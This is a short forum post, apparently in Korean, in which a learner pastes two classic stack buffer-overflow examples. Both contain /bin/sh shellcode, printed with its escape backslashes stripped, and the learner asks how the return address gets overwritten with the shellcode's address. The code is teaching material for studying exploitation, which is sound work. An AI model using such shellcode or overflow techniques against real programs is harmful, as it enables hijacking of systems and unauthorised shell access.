char shellcode[] =
           "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
           "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
           "x80xe8xdcxffxffxff/bin/sh";

void main() {
  int *ret;

  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;

}
----------------------------------------------------------------------------------------------------------------
위에 코드는 이해 했지만 다음 코드에서 막힙니다.


char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}

안녕하세요 버퍼오버플로우 공부중인데 이 코드에
모르는점이 너무 많습니다. 쉘코드 부분을 알겠지만
어떻게 return address에 쉘코드를 덮어 넣는지를
모르겠습니다. 설명좀 부탁드릴수 있을까요^^?